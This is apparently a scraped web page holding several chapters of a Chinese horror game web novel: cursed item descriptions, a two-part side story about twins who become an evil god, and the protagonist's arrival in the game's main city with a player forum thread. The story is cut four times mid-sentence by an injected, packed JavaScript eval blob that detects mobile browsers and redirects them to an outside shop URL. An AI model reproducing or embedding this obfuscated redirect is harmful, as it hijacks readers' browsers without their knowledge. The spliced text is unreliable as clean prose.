$(''#content'').append('' :持有者(已绑定)食用后可获得意想不到的正面效果,无副作用 注释:请吃下我们,允许我们同您融为一体 使用次数:1/0】 几双眼睛在眼前一闪而过……或许这就是他们说的另一种形式的跟随。 虽然作用不错,但这个系统评价与注释都让我感到有点不自在,像是有无数只虫子在身上爬。 所以,为了我的身心健康——请去道具栏吃灰去吧。 我收回视线,怀着好奇,看向下一个道具。 【T4列道具:邪神的眼球(不会腐烂版)】 【一位刚诞生邪神的眼球。祂听见了您的赞赏,心花怒放下的赠礼。作为能让祂心甘情愿奉上的玩家,若是您出版的相关书籍,相信肯定会很快风靡整个游戏城呢! ps:祂并不想让您将它做成手链,那里离您的心脏太远了 作用:持有者(已绑定)佩戴后有一定机率跨越时空窥见真实,机率大小取决于您好奇的对象 副作用:使用者使用时会有百分之五十的概率被祂注视,百分之十的概率所在副本被祂窥探到,百分之零点一的概率被祂找到 注释:多看看我吧,或者让我再看看你 使用次数:无上限,但同一副本仅限一次】 额,好痴汉的描述。 下一个。 【T7列道具:怪物的歉意(被动)】 【虚伪与真实并存。来自某位特殊NPC的歉意,真假难辨。 作用:可为持有者抵御一次致命伤害 副作用:若被非指定者持有,该非指定者将在一天内招致各种致死祸患 注释:不妄求您原谅我,犯下的错误我会用生命弥补——徐礼 使用次数:1/0】 看到这里,我神情怪异。 这个npc……真是自作多情又虚伪。 将视线移向最后一栏。 作为目前见过的道具中列数最高的,我对它抱有一些期待。 【T3列道具:半块神格】 【送您半块不是因为祂给自己留了半块,而是因为祂也只有半块。失去神格的(伪)邪神会陷入沉睡,直到神格重新凝聚。还是那句话,您出书吧,我跪着拜读。 作用:未知。需要玩家自行探索】 半块神格? 我怔住了。 为什么要送我这个? 雾气弥漫,一直在旁边喋喋不休的尚俞突然身形一顿,奇怪道:“副本怎么封闭了?” “很稀奇吗?” “还好吧,只是这个副本按理来说不属于……”他猛地止住了话语,眼神闪烁,像是在顾忌什么。 “总之,这是秘密!不过我相信以哥你的实力很快就能知道了。”金发高大青年眨了眨眼,“哥,我出来的比较早,所以现在该去游戏大厅了,有什么不理解可以问个人系统。当然我更希望小时哥能亲自来找我啦。” “嗯。” “系统空间绝对安全,这些雾气还能缓解疲惫。”他勾起一缕雾气,带了点孩子气道:“系统难得有这么大方的时候,不多赖一会简直可惜。” “总而言之——” 青年倏地拉开原本贴得很近的距离,双臂展开,耀眼的金发无风飘扬,笑容张扬。 “欢迎来到,失乐园!” 我猛地抬眼对上了那双翡翠色的眼眸。 气息。 对方气息变了。如果说原先的金发青年是一只阳光活泼的金毛犬,可爱却不会让人感到戒备和威胁,那么现在毫不遮掩的他则更像是染过血的藏獒,仿佛下一秒就能撕裂所有阻挡在他前面的敌人! 果然不是什么等闲之辈。 22. 番外:徐礼徐泽(上) 徐泽与徐礼像是从石头缝里蹦出来的,自打记事起便无父无母,两人一直相依为命。 虽说是“相依”,但又不太准确。这两人一直看对方不对付。 比如—— “啊!我的小人书!” 蓬头垢面的女孩瞪大眼睛看着自己只剩一半的小人书,生气又震惊,随后毫不犹豫地转头扑向蹲在一旁看笑话的男孩。 “我靠!”男孩吓了一大跳,瘦小的身体条件反射般在狭小的巷子里瞬间上蹿下跳起来。等回过神后,男孩一边躲闪,一边继续呲个大牙道:“徐礼你别不知好歹哈,昨晚如果不是我把你那书烧了取暖,你可就冻死在大街了!” “我看你就是嫉妒我有书看!”徐礼抓住机会一脚踹徐泽腚上,踹得徐泽一个趔趄,没站稳扑倒在地。 男孩吭哧吭哧地拍拍腿上沾上的泥土和草屑,也上了脾气,瞪着眼,指着女孩鼻子骂道:“你破字不识一个,整天捧着本书装模作样还不让人说,跟谁稀罕你那破书似的!” “你……!”徐礼也是个倔脾气,见说又说不过,气得眼眶直发红,热血直往头上冲。她咬牙切齿,一个猛子扑向还在张牙舞爪的徐泽,两个小孩很快扭打在一块。 最后被住在附近的算命老乞丐一人一棍子敲开才作罢。 两人东一头西一头鼻青脸肿的坐着,谁都看不惯谁,肚子却又在夜里同时“咕咕”作响。 同一片夜空在两个脏兮兮的小孩头顶撑着,星星也依旧明亮。 晚风吹着树梢,枝头摇摇晃晃。 小孩的头发也被吹成缭乱的鸟巢。 “……” “姐,你说,咱们有爹妈吗?”男孩靠着墙角仰望夜空,小声喃喃。 “……不知道。” 女孩将头埋进腿里,声音闷闷。 男孩拔了根草,塞嘴里嚼着,“你那么喜欢看书,还会用很多成语,一定知道父母是什么样子的吧?跟我说说呗,我以后再也不说你装模作样了。” 女孩轻轻“嗯”了一声,吸了口气,绊绊磕磕的边想边说。 “妈妈……很温柔,爸爸也很和蔼,她们会给我们温暖的衣服,舒服的房间,很多书,还有干净的、香喷喷的食物。” 男孩眼睛睁得大大的,咽了口口水。 “还会给我们拥抱,睡前故事,和……我也不知道还有什么了。”她捂住因为饥饿而疼痛的肚子,但目光肯定道:“反正爸爸妈妈是世界上对孩子最好的人。” “那……真好啊……”徐泽打了个哈欠,眼皮千斤重般耷拉着,却坚持着说完了最后一句话,“……听起来……就好幸福。” “嗯。” 徐礼也困了。 世界在她眼里颠倒混淆。 她也闭上了眼睛。 在梦里,她和弟弟会有一对温柔的、爱她们的父母。 * 算命那老乞丐有时会丢给她们两个馒头,或是半俩包子。 所以徐礼和徐泽不会计较他老人家整天唠叨说她俩命格奇特,同根同源,成神成魔全靠造化这种乱七八糟的话。 但老乞丐有天死了。 死在拐卖她们的人贩子手里。 老乞丐暴尸野外,而她们经多次转手,被卖到偏远的小镇。 买她们的‘母亲’不是书里的‘妈妈’,是会动不动耍酒疯鞭打她们的疯婆子,是让六岁的她们干各种脏活苦活累活的‘大地主’。 小镇上的镇民大多熟视无睹,但还是会有好心人搭把手,施舍她们点饭,像之前的老乞丐一样。 这一待就是两年。 而后旱灾来临,人人自顾不暇。 在‘母亲’准备将他们煮了时,她们九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670844|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死一生,逃了出来。只可惜刚离虎穴又入狼窝,再次成了食物。 可徐礼和徐泽不愿意就这么死去,她们计划着和地牢中曾经对她们友善的小孩一起逃出去,结果计划破裂,又被抓了回去。 这回等待她们的是更加残忍的虐待。 以及一声声熟悉的,却日复一日发出磨人神经的哭号尖叫声,和视觉上一成不变的血淋淋的景象。 然后。她们遇到了青年。 青年很漂亮,很干净,很温柔……头上的角也很可爱。他对她们施予援手,将食物、水、衣物递给她们。 他对她们笑,他对她们轻声细语。 他救她们逃离地狱。 对徐礼和徐泽来说,他是梦里的“爸爸妈妈”,是遥不可及的“白云”,是书中的“神明”。 也和神明一般长生不死,神秘莫测。 所以他才消失了。而不是因为讨厌她们。 糟糕的人间还在继续。 她们又救出了一些小孩。她们为了自卫杀了很多镇民,熟悉的,不熟悉的。 她们被抓了。 她们看着自己的肉被活生生割去火烤,直至死去。 痛苦与仇恨始终盘旋在森森白骨之上,痛不欲生的灵魂也不愿离去。 于是一念成魔。 本来就是一个灵魂被装进两个躯壳中,死后自然会糅合起来。她们吞噬了镇长带回来的那尊神像上面的一丝神力,取而代之。 再后来?就是镇长日记中写得那样,不值得一提。 然后祂看到了他。 终于看到他。 在祂即将葬送的前夕,也是名为‘仇恨’戏剧的开场。 那时祂位居高台之上,千人簇拥。 那时小镇居民如果及时收手,一切还有回旋的余地。 然而欲海无涯。 23. 番外:徐礼徐泽(下) 开场白逐渐走向尾声。 当祂被钉在木架上,仅剩一只眼睛的视线被青年占据时,祂忍不住偏过头,避开那道如此平静,却又让祂感到如此兴奋和难堪的视线。 不应该让他看到自己死去的模样,太过丑陋,又太过狼狈。 祂有点后悔。 只是想着再等一等,等祂完成属于祂人类部分的终章,脱下尘埃与浊秽,祂就能去与他相会再相认。 祂迫不及待,祂欣喜若狂,祂……祂屡次偷偷看向他。 好漂亮!好可爱!好聪明!好敏锐! 而后仅剩的眼球也失去皮肉的缠结,滚落到一旁的角落。 祂死了。 当然,神明不可能这么轻易死亡,祂会亲眼见证小镇镇民疯掉。 然后祂就可以去找他了。 祂的灵魂飘在上空,当祂发现他在欣赏祂的眼球时,灵魂激动的简直快要散了! 因为处于虚弱期,祂不得不休眠一些时辰。不过没关系,祂想,等祂醒过来就又能见到他了。 再然后,他死在了祂面前。祂看到作为人类时曾帮助过他的大人,祂救过小孩,甚至是祂‘自己’,都活了过来——以非人的身份。 她们的记忆只停留在死亡,不记得为什么活了过来,也不记得是谁救了她们,包括祂的两个人类前身。 祂沉默片刻,最终还是没有迁怒这些青年救下的人,而是给予她们选择的权利——以怪物的身份见证漫长的折磨,或是放下仇恨,魂归故土。她们中的部分也确实在看见异化镇民的模样和即将面临的遭遇后选择放下仇恨,化为尘土,和她们的死去的家人葬在一起。 成年男人形态的邪神无精打采的耷拉着脑袋,像只知道自己被主人抛弃的大狗,精心搭配过的金丝框眼镜和身上不菲的白色衬衫都不像开始那样自带光芒了。 青年给所有的受害者一个选择,唯独没给祂留下任何机会。 只是一想到青年在祂睁眼的瞬间魂飞魄散的那个场景,祂的怒气与怨念不受控制般瞬间封顶,几乎要将周围的一切全部湮灭。 也就是这时候一个自称“主神”的家伙找了过来,跟祂作了个交换。 对方告诉祂,祂和青年会在遥远的未来相见,但作为交换,祂需要接纳从系统那里过来的玩家,让他们在被祂诅咒的小镇中完成任务。 祂爽快的答应了。 虽然不喜欢人类踏入自己的领地,但如果能因此再次遇见他,祂求之不得。 诅咒会让小镇上的镇民永远不会死去,他们只会在祂设定的轮回中一遍又一遍的遭遇折磨,他们的灵魂被封锁在躯壳中苟延残喘。 至于青年唤回那些怪物,选择留下的则因为祂被迫清醒,包括那两个人类前身。 这是她们应得的。祂想。 祂彻底失去了报仇的兴趣,祂只想等到他回来。 于是祂选择沉睡。 直到……再一次遇见他。 …… 没想到祂留在小镇中用来感应青年的躯壳,凭借祂的那一缕分魂生出了灵智,还因为长久的循环疯了,自己搞出来了两副人格,两个人格还各司其职一个早上一个晚上的折磨玩家。 他们确实在未来等到了青年,却也因为疯了而忘记有关他的所有记忆,和那两具人类前身一样,只剩下对青年本能一般的偏执和扭曲爱意。 具体体现:那些分身下意识联合把祂屏蔽了! 可恶! 因此祂直到感受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670845|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到时空的波动才意识到他来了。 祂眼睛一转,于是假扮成系统和从没接触过系统的青年建立起精神联系,这让祂十分满足,一时间絮絮叨叨说了好多废话。 祂蹲在意识里画圈圈。 还被嫌弃了……不过仍然超级开心! 但也由于苏醒的太过匆忙,又急着撕破时空,导致祂之前自我封印的力量还没来得及解封。 于是祂再次眼睁睁看着他走向死亡。 那正是祂上一次错过的“过程”,祂依旧没能阻止。 这足以让祂崩溃。 如果不是祂……如果不是祂自作主张装做系统提前跟青年见面,青年就不会去启动那个阵!男人的虚影跪在已经消失的阵眼处,那里不再有任何青年存在过的痕迹。祂难以自持的抱头痛哭,一如数千年前那个在夜空下痛恨上天不公的孩童。 为何上天从不垂怜祂? 还是遇见青年已经耗尽了祂今生所有的运气? 泪珠从那双邪气的丹凤眼里一颗接一颗的流出。 在这个瞬间,一切的一切构成了闭环,构成一条艳丽却剧毒的咬尾蛇。 毒蛇张开的獠牙狠狠刺入祂的灵魂,使祂面容狰狞,使祂痛苦不堪。 …… 男人猛地想到什么,再次撕开时空。 熟悉的苍白面孔和那双纯黑上挑的狐狸眼一下子撞进祂泪痕未干的眼中。 这一次,祂终于能如愿的抱住他。 抱住那一轮悬挂在头顶数千年的月亮。 * 我愿将我的灵魂赠与您,愿将破碎的骨肉献予您,愿将只为您跳动的心脏呈现给您 我的全部愿随您驱使,只为换得……一个能靠近您的机会 24. 游戏主城(1) 通过玩家面板交换了好友,金发青年身影逐渐淡化在浓郁的雾气中。 眼前仍是雾蒙一片,看不清东西。不过好在玩家面板展现的介质不是眼睛,我能‘看见’呈现在面前的,像是由淡蓝色数据构成的面板。 从个人面板中调出名叫‘玩家必备手册’的文件,里面介绍了关于【副本】、【天赋】、【玩家排行榜】等专有名词的必要常识。 视线落在第十二行—— 个人系统由主统进行分配,在玩家结束新人副本前不予分配,下列特殊情况除外…… 邮箱“叮咚”一声,上面红色的信息灯不断闪烁。 我打开邮箱,闪着红点的那条信息提示接收的物品是个白色小球和一段消息。 【恭喜玩家时无序在新手期第一个副本里取得S的优异成绩并获得积分超过五万以上,满足提前获取个人系统的条件之一,故提前发放系统!祝玩家游戏愉快!】 【寄件人:主系统】 我再次扫向‘玩家必备手册’,上面标明因为个人系统的珍贵与不可回收性,玩家如果想要获得个人系统,其等级序列至少需要达到T5。 个人系统的作用…… 想了想,我接收了邮件。 按下‘确定’键的瞬间,凭空出现的一片片淡蓝色数据渐渐旋转、聚拢,一个白色的小球落在了我的手中。 随着最后一点光芒的暗淡,小白球淡蓝色数据构成的豆豆眼眨巴两下,蓝线条嘴巴也出来了,一张一合道:【7369458001号个人系统,竭诚为您服务。】 【个人系统从诞生到销毁只会有一位宿主,也只会听从一位宿主的话,若宿主死亡,其个人系统便也会跟着销毁。】 【宿主您看,您是我睁眼后见到的第一个生物。】它调出自己后台的全部记录,还展示出了自己的代码,我愣是从它芝麻大点的眼里看出了认真,【个人系统永远不会背叛、欺骗宿主,这是‘规则’刻入我们代码中的忠诚。】 “违背了会怎样?” 【会自我毁灭。】白球没有丝毫迟疑,脱口而出。 【所以我会是您永远可以信赖的伙伴、手下与棋子。】 【如果您认可了我的存在……】白球悬空飞起,淡蓝色的数据豆豆眼竟有些发亮,像是有意点缀的星光,【那请您绑定我!】 它话音刚落,我的面前就出现一个写着【是否绑定?】的淡蓝色面板。 “那绑定后你会随意听取我的想法吗?”我将它捧在手心里,眼睛对上它的豆豆眼,含笑道。 【当然不会。】白球晃了晃。 【绑定后宿主能够自主选择是否与我通过精神链接对话,也可开启选择屏蔽功能。屏蔽功能开启后,我将感受不到宿主的任何存在。】 我点了【是】。 蓝色面板一闪,字样变换,出现几个大字:【请为您的个人系统命名——】 半小时后。 我到了游戏主城。 拒绝了俞熵——据他解释因为不想让别人知道真名所以在副本中用了个假的——的邀请。我将帽子遮好,和小白共享视觉后漫无目的的在陌生的街道上溜达。 街上有各种玩家开设的武器店、咖啡馆,有NPC开设的茶馆、花店,也有大型酒吧、角斗场、竞技场……以及,一轮永远不会落下的月亮。 这里是【永夜城】。 主城整体分为两大完全不同的版图——不夜城和永夜城。顾名思义,一个永昼,一个永夜。两块版图具体又分为十二个区域,每个区域都是独立空间,排名越靠前的玩家所属区域标号就越靠前,受到的待遇也就更好。且区域标号靠前的玩家能够随意进出标号在后的区域,而标号靠后区域的玩家却需要支付一定的积分才能前往标号在前的,且越靠前所付的积分就越多。 比如10区的玩家想去9区只需要1天花费2000积分,但去7区却需要15000积分,甚至对于前三区来说,就算有再多积分,只要不是本区域的玩家就进不去。但即使这样,仍有大批层出不穷的玩家希望能前往标号靠前的区域,想结交高玩是一个原因,但主要还是因为标号越靠前的区域有不同势力派别的高玩镇压,相对来说治安更好。 主城,它禁止杀戮,也只禁止杀戮。 越边缘的区域,尤其是我现在所在的12区,除去少部分禁止一切侵权行为的场所,其余有如人间炼狱。随处可见的暴力、血腥,斗殴打架在大街小巷的边边角角发生,只要不致死没有人制止,偶尔会有好事者驻足观赏。 一群脑子被肌肉和暴力奴役的傀儡。 这么想着,我一边嫌弃的提溜着不知道从哪里被打飞到我面前人的衣领,将她放在地面上。 她看到了我的脸,脸红红的,道谢完就匆匆跑开了。 我拿着小白递来的湿巾慢慢擦着手。 据小白了解,新人进入游戏城后需要由系统进行评分测评,以便于安排分配到不同的区域。 【宿主,您为什么不愿意接受系统测评呢?依照您第一局副本拿到的成绩来看,以您的天赋和实力,您至少能够进入6区,而不是在脏乱差的12区里受苦。】小白悬浮在我身边,机械音里充满疑问和好奇。 【新人榜也是这样,系统测评后会将潜力、实力和总获得积分综合后进行排名,前一万名的玩家会登榜公示。】 【在失乐园中这是荣誉的象征,也是吸引各个公会高玩进行新人投资的重要指标,后期与新人榜相关的大型新人玩家对抗副本也非常重要!】 我踩着上赶着来打劫的人,闻言笑道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670846|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【为什么不呢?】 【小白,你知道吗,话本中的主角都是最后登场。】 【所以我呢,就要做那个最引人注目的。】 * 游戏主城是一个极其消耗积分的地方,哪里都需要积分。从超过留驻时间的那一刻起,玩家每一次呼吸都应支付积分,这是主系统明晃晃的告诉所有玩家:不想打副本?当然可以,不过作为交换,你得支付一笔不菲的积分。 关于住宿,十二区的旅馆是根据待遇的不同,由下往上逐级翻倍,比起单人住宅的高昂天价它简直是主系统残留的少许良心。毕竟最便宜的单间就算是只通关一个副本的新人也绝对支付得起———半天的价。 只保证是个能够休息的地方。 旅馆的安全性与睡大街无异,无论层级。当然,后者要更便宜一些、睡得更差一些、受到的骚扰更多一些,是穷鬼的不二选择。 积分易散不易收,通过赌博、被欺诈、打劫等丧失个人全部积分,甚至倒欠积分的玩家一般有三个选择:第一种,可以向其他玩家或系统立下欠条以维持当下基本需求,然后花大半辈子甚至直到死亡都在还债;第二种则是找富有的玩家或系统签卖身契,开启奴隶的生涯直至死亡。 以上两种是主系统所讨厌的懦弱胆小之流的选择,第三种不同,欠债玩家只需通关一次惩罚副本即可清零所有债务。 惩罚副本,人称四高副本:高难度、高风险、高收入、高回报。那里属于主系统管辖之外的副本,个人系统也进不去,主系统做的只有按时把玩家送过去,到点再接回来——如果还活着的话。无论副本类型,存活率均低于百分之一,刷直播时刷到就是赚到,因为作为观众你可以有幸见证各种少见的死法。 也是亡命之徒最爱的埋骨地。 一般谁违反主城的规定,却又因为该玩家实力不错导致抓不到人的就会在下副本时被直接丢进去,情况及其少见,多出现在翻车的高玩之间。 不过无论哪种,只要是没能还够足够积分的玩家,期限一到便会被迫强制担任副本内各种普通NPC的身份,玩家会时刻清醒着感受躯体被看不见的东西操控,控制着不断轮回死亡,连开口求救都做不到,从某种意义上远比死亡令人恐惧。 这里是充满不择手段、弱肉强食的原始丛林,是死亡刺激的地下角斗场,每位玩家都是被标明价值的货物陈列在架台上,珍贵的被高高捧起,简陋的弃之不可惜。 毕竟福祸相依嘛,当然只有在一次次危险中绽放光彩的宝石才能得到它应得的高昂保养费,只有高调展示自己的价值,才能避免被抛弃的命运。 主系统它从不养闲人。 随着实力的提升,迎来的副本难度将会成指数型增长,或者……存在一些目前还未公之于众的危险。 25. 游戏主城(2) 玩家论坛,一个供玩家进行交流信息、炫耀、吐槽、发疯等的平台。 我匿名点进了首页一个刚发布没多久,讨论“华北小镇”副本的贴子。 一个网名叫“鼠鼠我呀撑不住了捏”的玩家发了两张系统公布的截屏,配字:【这个副本封了???!】 【鼠鼠我呀撑不住了捏】:【靠就是这个副本,上个月刚进去的,副本背景把我恶心的不行,甚至直到现在一看到肉仍然反胃想吐……第一天旅店老板先是给我们下迷药,是不可抗拒的那种规则类的,我刚悠悠转醒就看到她发疯似的用大菜刀把我旁边的玩家当场剁了,剁得时候那个血啊肉沫啊全溅我身上,血腥味混合着尿骚味别提有多他妈恶心了。更可怕的是她当着我们面把地上的肉屑一块一块的塞嘴里嘎吱嘎吱嚼,汁水与油脂淌了她一脸,那毒妇还一边嚼一边轻柔安慰儿子别害怕,让妈妈再尝尝你跟你妹妹味道有什么不同!当时听到这句话后我鸡皮疙瘩起了一身,后背隐隐发冷直冒冷汗,灯火会上也是各种人肉买卖就不用说了,问题是这还只是第一天! 晚上参加完灯火会第二天整一天都浑浑噩噩的,这时候一个脸上长着马赛克的白发青年坚持要让我们去祠堂,当时有个玩家精神已经在崩溃边缘了,她就摇了两下头,然后,就被镇长两米长的血盆大口吞了下去!!!天他为什么不会肌肉松弛啊…这不是重点,我们到了祠堂拜神,想想也知道副本里不可能出现正经神是吧,所以楼主也没打算细看但是!!楼主仅仅是扫了神像一眼就当场进入了一个惨死的幻境体验了一遍,死得真的很惨因为字数不够就不细致描述了,因为剩下五人有一个人必须要独自进去的,然后他就再也没有出来过!!!!】 【鼠鼠我呀撑不住了捏】:【第二天下午与第三天去小镇住宅区找线索,妈的那些镇民就是一堆疯子,地下室的尸体都捂蛆了他们还一口一口的往嘴里塞,真塞啊我的天!!!!!还有拿起来斧头就直接朝我们砍的,这个狗逼副本前期要求按照【旅客】身份牌,谁敢违反啊一次副本那么点积分哪够扣的,它也不动动它那团破铜烂铁想想谁旅个游能碰见这些破事??!第四天我们被送回过去体验了一套蟑螂都不住的地牢待遇,那么破的地方栏杆都比他们骨头硬,一群罔顾人伦的畜生】 【鼠鼠我呀撑不住了捏】:【第四天晚上到第五天镇民直接变身不死行尸偷袭,不说了直接放图你们自己看去吧。七人最后出来的只有楼主,还是躺着出来的……这个副本真心恶心,虽然不知道是排行榜上的哪位大佬把副本搞崩了,我在这里就先谢过了,简直大快人心!】 …… 几段饱含血与泪的长篇小作文足以看出楼主对这个副本的深恶痛疾。 贴子很快火了起来,一连串的玩家评论跟在‘小作文’后。 【我年方二八】:【哈哈哈哈哈哈对不起但是凄惨文案配上楼主网名怎么会这么好笑】 【不进T10列不改名】: 【楼主完美的把画面通过文字还原了出来,谢邀,我吃不下去饭了】 【人不发疯真会死】:【进主页看了下楼主等级,T9列的,看来这个副本确实有点东西】 【脑子进水的别回我】:【楼上其实可以直接查副本通关率,百分之二十点三,还不是那种掺和炮灰新人特地降低生存率的本】 …… 【求大腿】:【不是,没有人发现新人榜第四,哦现在第三的那位直播的就是这个副本???该不会……?】 【我有胸肌你没有】:【楼上自信一点。唉,果然人比人得死,我一个通过三十多个副本的上升等级序列竟然还没有一个不到十个副本的新人玩家高……】 【叨哥与政治】:【楼上别太自信,是‘远不如’。据说俞大佬虽然来自一个非常普通的小世界,但目前为止只过了六个副本等级就已经达到了T5列……这个速度与潜力不用我多说了吧?甚至现在就已经能在总榜上排一个非常不错的名次了,而且据我所知,不少公会抢着要他却都被拒绝了,和咱们这些混吃混喝的有什么可比性吗。。。直接膜拜吧】 【摸鱼我在行】:【话说这一批新人质量好像格外高,最近刚进来的那群人中有两个甚至直接冲进前十,太吓人了吧】 ——被失乐园选中的玩家来自世界大都不同。人常常被分为三六九等,大千世界也一样,在这里总共被分为十二列,序列数越小人均身体精神素质越高。这些世界与副本内有神鬼志怪不同,是普通的,全是正儿八经人类的世界,只是不同世界科技发展、能量存在形式和人文思想可能存在较大差异。 也难怪初见那些玩家时我没能查看出他们的修为。 我看了一圈,暂时还没发现第二个类似于修真界里我这样的物种。就算有非人特征的,也是玩家来到这里后得到了特殊血脉传承之类,成为非人类智慧型生物,比如吸血鬼,比如兽人。 准确来说,排名半数往前的基本已经没有纯人类了。 【膜拜大佬】:【上次排行榜结束后排行第五的巨巨好像直接得到了一瓶T3列的恢复药剂,也不知道这次是什么,好期待呀!!虽然不是我的但让我开开眼界也可以啊QAQ】 【求大腿】:【????!是我知道的那个可以化枯骨为红颜的那个保命的】 底下一串的【不然呢】 …… 【小道消息找我我超会】:【你们听说没,就那个现今为止一直盘亘在新人总榜第一不动的那位,有玩家看到他被两个新人围攻,好像才勉强略胜一筹来着,这届新新人玩家到底都是些什么怪物啊……】 这条消息很快被不断刷新的楼层埋了下去,没引起任何玩家注意。 【佛了】:【真不理解你们整天为那些大佬操什么心费什么神,总榜最近一次的筛选做好准备了?】 这一层底下哀声一片。 * 玩家等级序列由【规则】进行估算,可随玩家能力提升而变动。属于同一等级的玩家之间也存在实力差距较大的情况。每个等级序列目前玩家数量占比如下—— 从T12到T0列,依次占比约为25%、40%、20%、5%、5%、5%、1%、0.1%、0.05%、0.005%、0.001%、0%、0%。全游戏总人数在四百万到五百万之间,上下差额可能因大批次的死亡与新入有一个波动,波动大小暂时不能预估。 上述只是一个大体数据,细分下来顶尖那批人只会更少,但无一不是能以一敌万的重量级选手。 排行榜不止一个。但最重要的无疑是新人榜和总榜。 【新人榜】,一个每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670847|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔开段时间就会更新,以新人综合实力为序排名的排行榜。一万名之后的玩家不会出现在公示榜上,但仍可知道自己的位置。 所谓“新人”,即新玩家,实际并非按照参加副本的次数计算得来,其参考标准是玩家初始世界的所属序列,以及该世界居民等级平均值,而后才得到一个具体的期限。期限内玩家可参与副本提高自身实力,直至时期截止,新人榜上数值固定,此后可再下副本,但后增战力不会影响排行榜。大多玩家以三个月为标准——这也是新人榜更替时间,据统计,天数最高者高达半年,最低者没有新人期,直接以初始实力计入新人排行榜。 【总榜】,顾名思义,是综合玩家有关战力的各方面能力排出的,包括但不限于玩家具体个人实力、天赋上限、天赋运用熟练度、天赋开发度、通关副本表现评价等多方面。 以上两个排行榜总期限结束后,排行前一万的玩家将会参与一个提供提升天赋探索机会的大型副本。 比起后天通过外界获取的技能、血统与道具,与生俱来的天赋显得更难能可贵——它决定了万物成长的上限——当然,绝大多数穷极一生都摸不到自己的上限。 不是其上限太高。而是因为与天赋的珍贵成正比的是如何突破性的运用它、探索它。灵感、直觉、运气、承载力……都是不可或缺的,其中身体机能的提高更是重中之重,毕竟身体是一切力量的载体,因素之多同样大大提高提升难度。 所谓‘提升副本探索机会’,是在这些基础上下功夫,还是另辟新径……? 无论哪种,都显得这个副本的难能可贵。 我若有所思的摩挲指尖。 【宿主,距离新人榜竞赛开始还有14天。】 我一怔,转头看向玩家面板上标红的新人剩余时间——14天。 真巧。 【小白,我可以测身体数据,但不上报不排名吗?】我突发奇想。 【没问题,交给我就好。】小白眼睛泛起蓝光,它看向我,蓝光便也将我全身覆盖。 个人面板几乎在小白扫描的瞬间转换了页面,满屏的淡蓝色数据构成一行行文字。 【检测玩家】:时无序 【年龄】:19(???) 【性别】:男 【身高】:181cm 【品种】:魔物(???) 【智力】:113/B 【速度】:738/A 【力量】:680/A 【幸运值】:? …… 我掠过那几个问号,心里将系统的威胁性又往上提了几层,最后视线落在【天赋】两字上。浅蓝色的数据在这里停顿半天,才像是解开了某种艰难的谜团,缓缓敲出了两个字—— 吞噬。 【天赋】:吞噬。 【天赋潜能】:SSS 我挑眉看着简介自动展开。 【天赋介绍】:您掌握一切阴暗,拥有吞噬一切的能力。毫无疑问,您是天生的统治者,是摇曳危险的火光与深不可测的深渊,没有生灵能比您更清楚自己的【天赋】,包括我。 …… 【玩家序列】:T5列 【玩家潜能】:SSS 【预估新人榜排名】:1 26. 游戏主城(3) 小白也看到了数据,淡蓝色数据眼比往常大了一点,【好厉害。】 不等我骄傲几秒,小白的严肃认真的声音又响了起来:【把现在的您放在T4列玩家中,您都能活二十分钟呢!】 我:【?】 我幽幽看向小白,试图从它数据五官中找到反讽的证据,无果。 但小白快变成小粉了。 【你还能变色?】我稀奇道:【还是粉色的。】 【……嗯。】小白像是有些不好意思,它从半空“啪嗒”一下正脸朝下的摔了下来。 正好落入我怀里。 【小白,你的头上冒烟了。】我戳了戳小白球,坏心眼道。 【请宿主不要一直注视着我……】小白又往里面拱了几下,才闷声闷气的回答。 在看到小白同样由数据构成的小手猛地捂住脑袋时,我的愉悦感达到了一个新高度。轻笑了几声,低头一看,抵在胸膛上的小白变得更粉了。 小白,一款“老实人”版的统。 揣着小白走进一家饮品店,我向npc买了五杯青提柠檬果茶,花了125积分。 坐在店内的高椅上,我叼着吸管深吸一口,冰凉甘甜的青提果肉与酸甜的柠檬汁混在一起,伴着冰块碰撞的清脆声,我觉得自己所有的美好品质在这一刻具象化了。 好幸福! 【小白你来点吗?】 